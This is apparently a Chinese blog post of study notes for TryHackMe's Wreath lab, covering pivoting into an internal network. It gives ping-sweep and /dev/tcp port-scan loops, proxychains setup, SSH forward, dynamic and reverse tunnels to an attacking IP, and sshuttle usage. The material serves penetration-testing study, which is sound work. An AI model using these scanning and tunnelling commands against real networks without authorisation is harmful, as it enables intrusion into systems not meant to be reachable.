tryhackme之渗透测试基础案例之横向移动,内网渗透Wreath-2 pivoting

2.pivoting

通过一台机器,进而攻击内网其他机器(公网无法访问到)

在这里插入图片描述

metasploit等工具可以很容易做到,

手动:

1.隧道/代理

可以逃避简单的IDS的检测

2.端口转发

各有优缺吧,具体要看环境。先进一步探测一下看看再说

从这一步开始绘制拓扑图

如果获取了多个入口,Linux比较好横向移动

metasploit有个命令可以直接路由转发 portfwd

横移的第一步是收集信息

1.hosts文件,arp缓存

2.使用已经安装的软件

3.静态编译的工具

4.脚本

5.通过代理用本地的工具

代理用本地的可能很慢,所以不建议优先选择

优先选用本地有的软件,比如Linux有的时候会默认安装nmap

同时,这个时候要保持隐蔽性,不能大张旗鼓。

Linux arp -a

nmcli dev show

查看静态路由 /etc/hosts 本地dns服务器:/etc/resolv.conf

(may be misconfigured to allow something like a DNS zone transfer attack

windows arp -a

ipconfig /all 查看 C:\Windows\System32\drivers\etc\hosts

之所以用静态编译的是因为它理论上可以用在任何系统上,不然一些动态库之类的可能会影响效果。

资源网站:https://github.com/andrew-d/static-binaries

如果已经攻陷的机器没有nmap的话。。可以用脚本试试

比如bash脚本

for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep "bytes from" &); done

powershell的话,很慢

C# C C++ Rust等还可以

https://github.com/MuirlandOracle/C-Sharp-Port-Scan

https://github.com/MuirlandOracle/CPP-Port-Scanner

有时候防火墙会阻止ICMP的ping

for i in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$i) >/dev/null 2>&1 && echo $i is open; done

在这里插入图片描述

下面会用两种工具

Proxychains

这款工具用在其他工具前面,帮助其他工具走代理

比如:proxychains nc 172.16.0.10 23

上面代理并没有指定端口。它会从配置文件中读取 。

/etc/proxychains.conf

配置文件有几个地方可能存在。

读取顺序为:

  1. The current directory (i.e. ./proxychains.conf)
  2. ~/.proxychains/proxychains.conf
  3. /etc/proxychains.conf

目前对我们有用的地方就是这里

在这里插入图片描述

如果要用nmap扫描的话注释掉这个

在这里插入图片描述

注意事项:

1.只能用TCP scans 所以nmap的话,用-Pn

2.非常慢

FoxyProxy

如果要访问网页的话,这个很好用!

在这里插入图片描述
在这里插入图片描述

SSH 隧道 / 端口转发

正向连接

用ssh客户端进行ssh隧道建立

1.端口转发 用-L命令

举个例子:我们可以连接172.16.0.5,然后有个web服务器,ip是172.16.0.10

我们可以创建一个到服务器的链接

ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN

现在我们就可以通过本地的8000端口访问,通过ssh连接的机器访问web服务器,

-f 将任务放到后台

-N 只连接,不执行别的命令了

2.代理

-D 设置端口,这个端口要在proxychains中设置

这个可以和proxychains结合利用

ssh -D 1337 [user@172.16.0.5](mailto:user@172.16.0.5) -fN

通过本地1337端口,发送数据到攻击的网络中

反弹连接

ssh客户端连接很可能是反向连接??

当拿到一个shell但是没有ssh连接的话,反弹shell很常见

需要几步来保证反向连接的安全性

1.先生成一组新的ssh密钥并且存放在安全的地方。 命令 ssh-keygen

在这里插入图片描述

2.编辑~/.ssh/authorized_keys

先输入command=“echo ‘This account can only be used for port forwarding’”,no-agent-forwarding,no-x11-forwarding,no-pty

保证只能用于端口转发,不能获取shell

在这里插入图片描述

3.检查一下服务器状态

sudo systemctl status ssh

如果没开的话打开一下sudo systemctl start ssh

4.将私钥上传到攻陷的机器,看起来不可想象,通常不会这样做,所以我们生成了一次性的密钥

5.用下面的命令来做端口转发

ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN

在这里插入图片描述

现在windows也有内置的ssh客户端,所以我们也能在windows上实行这种攻击

sshuttle

它和其他的不太一样,更像模拟vpn。

通过ssh建立的隧道,传送的shu’j是加密的

它也有缺点,只能在Linux上用,需要ssh连接,需要python(可以上传静态python

kali安装:sudo apt install sshuttle

用法:

sshuttle -r username@address subnet

例如:sshuttle -r user@172.16.0.5 172.16.0.0/24

不过也可以用-N来自动获取路由

sshuttle -r username@address -N (不一定会成功

也可以在最后加一个& 来将将进程放置在后台

如果执行成功,会显示 c : Connected to server.

在这里插入图片描述

刚刚那种方式需要输入密码,如果没有密码呢?或者不支持密码登录

它本身没有指定的命令,不过我们可以Bypass

sshuttle -r user@address --ssh-cmd “ssh -i KEYFILE” SUBNET

报错处理:

client: Connected.

client_loop: send disconnect: Broken pipe

client: fatal: server died with error code 255

这个错误的原因是,受害机器就是这个子网的机器

解决方案: -x 排除自己

sshuttle -r user@172.16.0.5 172.16.0.0/24 -x 172.16.0.5

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值